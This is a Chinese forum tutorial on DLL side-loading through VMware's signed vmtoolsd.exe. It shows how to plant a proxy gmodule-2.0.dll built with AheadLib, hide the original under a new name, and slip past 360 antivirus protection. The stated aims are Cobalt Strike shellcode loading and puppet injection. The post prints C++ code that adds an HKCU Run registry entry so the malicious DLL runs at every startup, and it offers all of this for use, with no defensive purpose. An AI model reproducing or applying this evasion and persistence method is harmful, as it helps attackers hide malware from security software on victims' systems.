VmWare技巧大揭秘:白加黑,360核晶全方位利用攻略

在今天的一次意外中,我不知道是出于什么样的动机,打开了虚拟机,然后看了一眼任务管理器。令人惊喜的是,我发现了一个隐藏的技巧:通过利用vmtoolsd.exe,我成功实现了注册表的添加,使得程序能够在系统启动时自动运行!这种方法还可以用来实现傀儡注入上线,提升了CobaltStrike加载Shellcode的姿势,这是本系列的第6篇。

图片[1]-VmWare技巧大揭秘:白加黑,360核晶全方位利用攻略-山海云端论坛

在确定了相应路径后,我采用了一个既愚蠢又实用的方法:将exe文件独立放置在一个文件夹中,并通过双击运行来补全所需的dll文件。

图片[2]-VmWare技巧大揭秘:白加黑,360核晶全方位利用攻略-山海云端论坛

最终的效果如下所示:

图片[3]-VmWare技巧大揭秘:白加黑,360核晶全方位利用攻略-山海云端论坛

接着,我准备开始选择合适的dll进行劫持,并将目标白进程拖入X64dbg中。

图片[4]-VmWare技巧大揭秘:白加黑,360核晶全方位利用攻略-山海云端论坛

对于劫持系统模块,360全家桶的敏感度较高,因此我选择了用户模块,更为保险。

图片[5]-VmWare技巧大揭秘:白加黑,360核晶全方位利用攻略-山海云端论坛

在右侧视窗中,我可以看到导出表,选择了gmodule-2.0.dll这个dll,因为它的导出函数较少,利用起来更为方便。

图片[6]-VmWare技巧大揭秘:白加黑,360核晶全方位利用攻略-山海云端论坛

尽管跟踪了一遍流程后发现程序并没有调用该dll中的任何函数,但我们仍可以在dll的入口处着手。我推荐了一个我经常使用的工具AheadLib,它可以快速地将dll中的导出函数制作成一个C++代码模板,使用起来非常方便。

图片[7]-VmWare技巧大揭秘:白加黑,360核晶全方位利用攻略-山海云端论坛

对于x64的dll,在劫持过程中需要使用汇编语言来实现一些功能,因此会多出一个asm文件。按照asm文件中的提示进行配置即可。

根据个人习惯,我对cpp中的代码进行了一些修改,将原本的gmodule-2.0.dll重命名为ApiHelp.dll,以提高其隐蔽性。同时,在入口处将宿主文件名改为vmtoolsd.exe。

图片[8]-VmWare技巧大揭秘:白加黑,360核晶全方位利用攻略-山海云端论坛

然后,我们可以添加我们的代码了。以下提供了一个添加注册表的例子:

BOOL AddReg(LPCWSTR valueData) {
HKEY hKey;
LPCWSTR subKey = L”SOFTWARE\Microsoft\Windows\CurrentVersion\Run”;
LPCWSTR valueName = L”名称”;
// 打开或创建注册表项
if (RegCreateKeyEx(HKEY_CURRENT_USER, subKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {

// 设置启动项
if (RegSetValueEx(hKey, valueName, 0, REG_SZ, reinterpret_cast<const BYTE*>(valueData), (wcslen(valueData) + 1) * sizeof(wchar_t)) == ERROR_SUCCESS) {
  RegCloseKey(hKey);
  return TRUE;
}
else {
  return FALSE;
}

}
else {
return FALSE;
}

}

图片[9]-VmWare技巧大揭秘:白加黑,360核晶全方位利用攻略-山海云端论坛

编译后进行测试效果!

图片[10]-VmWare技巧大揭秘:白加黑,360核晶全方位利用攻略-山海云端论坛

注意,这里的ApiHelp.dll是原本的gmodule-2.0.dll,而gmodule-2.0.dll是我们编写的恶意劫持dll。

图片[11]-VmWare技巧大揭秘:白加黑,360核晶全方位利用攻略-山海云端论坛

重新启动系统,如果一切顺利,每次启动后都会弹出相应窗口。

图片[12]-VmWare技巧大揭秘:白加黑,360核晶全方位利用攻略-山海云端论坛

今天的知识分享就到这里!

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容